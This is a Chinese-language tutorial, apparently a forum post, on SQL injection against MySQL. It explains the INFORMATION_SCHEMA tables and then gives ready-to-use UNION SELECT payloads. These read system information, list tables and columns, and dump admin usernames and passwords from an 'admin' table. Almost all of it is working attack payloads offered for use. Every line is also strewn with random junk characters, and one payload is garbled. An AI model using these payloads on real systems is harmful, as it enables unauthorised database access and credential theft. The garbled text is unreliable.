本文介绍MYSQL盲注的一些语句和方法
/ R. i+ d: o5 p& a5 G5 t* y
5 |( q( N# ~; y7 x0 ^6 d学习盲注前先了解下 IFORMATION_SCHEMA 库4 [/ e, l. _# F' m
. X) g* k& a1 L6 J9 q1 `7 A% i8 g- PMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有% v1 b4 M. G2 P, _. g. O
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。: ^- P" N4 U$ [9 r) y* R5 q( {, M# m
1.得到所有数据库名:) D" w; E5 z, b- l
|SCHEMATA ->存储数据库名的表
2 q" v1 P0 w; ?. ]|---字段:SCHEMA_NAME ->数据库名称$ D; C% Y; s! |$ r- e
! l7 v) K o" g7 I ?- X+ g' a|TABLES ->存储表名8 Q- n5 c8 y0 s- L
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
" U: k7 [- I' K+ \+ g|---字段:TABLE_NAME ->存储表的表名: H: ?3 b+ Z; U4 x/ g8 r# s r
9 o0 W0 [5 G# V; w! w' F- G \8 m|COLUMNS ->存储的字段名表5 m, P* W5 l* D4 b; n- R3 b
|---字段:TABLE_SCHEMA ->该字段所属数据库名 b n& b( q+ j0 D9 T" C$ p8 ?
|---字段:TABLE_NAME ->存储所属表的名称
' i6 B0 i0 |9 X
. L. ~7 u* o7 N& d|---字段:COLUMN_NAME ->该字段的名称
/ p' _3 m: ^. i6 p" U7 R, u9 h4 A9 h5 H- O. ~; z) h9 t8 a
( u; f2 {8 u( k6 j4 y$ I% d. C2 {4 Q( L5 k) k4 i! B
###########################################################################8 D4 ^9 e( @ f9 _0 e I
" q7 h: h; _0 O1 J* e0x001 获取系统信息:
' x* `/ ~; e2 G+ }# Z
5 g6 d, ~9 @% r* A5 z( h4 _2 munion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
' N& ]) m! _: v: o# I( j" V W# ?2 Y) I6 A
/*
- J. N4 K6 S1 N. i
: c9 r5 \% z% N( _% T$ t@@global.version_compile_os 获取系统版本" w5 z9 R# [: ]. g5 {* u5 w
, A" x' S6 N% i, {0 R+ z6 o$ @: ^8 z@@datadir 数据库路径
$ s: ^" v2 c! r( W# c gdatabase() 当前数据库名称9 d' r* O8 ^0 Q- \
0x3c62723e 换行HEX值, R) I) H) b7 V' z6 S0 S d
) ?: ~/ e4 N" l$ ?) a*/$ ~$ L0 u4 K) v4 @8 P$ ?
T6 _1 G7 V' c% y1 k* F9 c4 l
" M( U2 _% r( T; d
3 e; l/ P& C) l U9 z######################################################################
. ~7 Z" T2 f5 `2 p
7 q7 H1 c" K4 u- l0x002 获取表名
/ ~+ l8 ?3 p' f% S* f
! B$ S( J; O- ?' z- ], G9 munion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*$ Q! q1 w# R+ ~
) K9 C- p; P5 |; C
, z: f5 q# N/ P( S) L( T
; n. m0 Z* w7 W9 F
/*
( v7 g) A6 ?7 w, ^, X# w# V) F" L( i; x) k9 w2 C
0x67617264656e 为当前数据库名
% ?5 ~9 r( J$ a. W: H
9 x% ]. f, ]% A, s' \" b' z) M) }group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
- u$ d5 D: Q/ f- a. N
/ q1 N# D7 D. q*/- N' g& w1 q$ q& I. y
! |4 d' j; Q8 M0 j1 B" l7 C8 ^######################################################################1 @: ]& k+ ?% h; m1 Q
0 Q5 Z4 o n4 Q4 h0 Z & `; c( k/ |- X: i
3 |3 F; o. Z: @1 W6 v
0x003 获取字段
3 _4 V+ G3 U" S2 \* L) R4 ~4 S1 S, _6 A3 J# @) x
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
S3 A+ [ i$ D+ s: y3 _' J
' D4 e2 Z1 l3 B9 i& ^5 s0 e& k/*
# T" x3 S/ F! I! q% @9 u1 h
& A0 C. B' e- W8 b0 h) Hgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段- f# [# d( j2 F: [6 D
, F5 q/ J3 C, f4 O5 n' ~
0x61646d696e ->选择一个表6 w0 l0 m' I% A4 ^
! Z( B* O0 W, B; \. H9 H1 r
0x67617264656e ->数据库名4 V. l: x: F9 X0 I5 x4 `4 d0 M
! y4 A/ L! P4 Q7 S' T*/
3 o' C* O# V3 |" N3 ~2 w
! D8 f1 l- G# N#####################################################################
* R, L9 x4 {, m; m7 }8 x9 ~& d% r- X: x- x5 K
5 f2 ]+ M7 J3 [' s" M$ e
4 ]# _" g8 A" u2 G" r9 J
0x004 获取数据1 K& p( t# V5 `/ Y+ T5 M
% y( F; d0 T+ ?' c
union select 1,2,3) \9 k* M/ P2 ^ M! a9 ^) ]
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin* B5 N, {/ u4 v6 m
0 b& Q) s- ?$ ~) d U. Z* `
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin: h H, J$ H0 e# f4 r; ?! U+ H, p
% P7 I3 ]3 w) L. B( |
) X8 ^! k3 w! r1 x: n& |# R$ r$ b# v8 ~. s: \4 o
/* Q( R6 N1 h5 i
0 l) v3 X# _7 P- B) M/ C( ?0x3c62723e 换行符号HEX编码
' ]( N ?0 R( z3 b- S* [2 D$ O4 R$ G3 `# m0 ^$ [6 L* s( B
group_concat 同时获得该字段所有数据
) v' `( t5 ~1 ^2 _0 B' J4 ^
1 g% d4 ]5 o% ^. D*/ g, x$ J5 ]" V, A5 ]
2 s3 W, W+ \# u- }+ a
|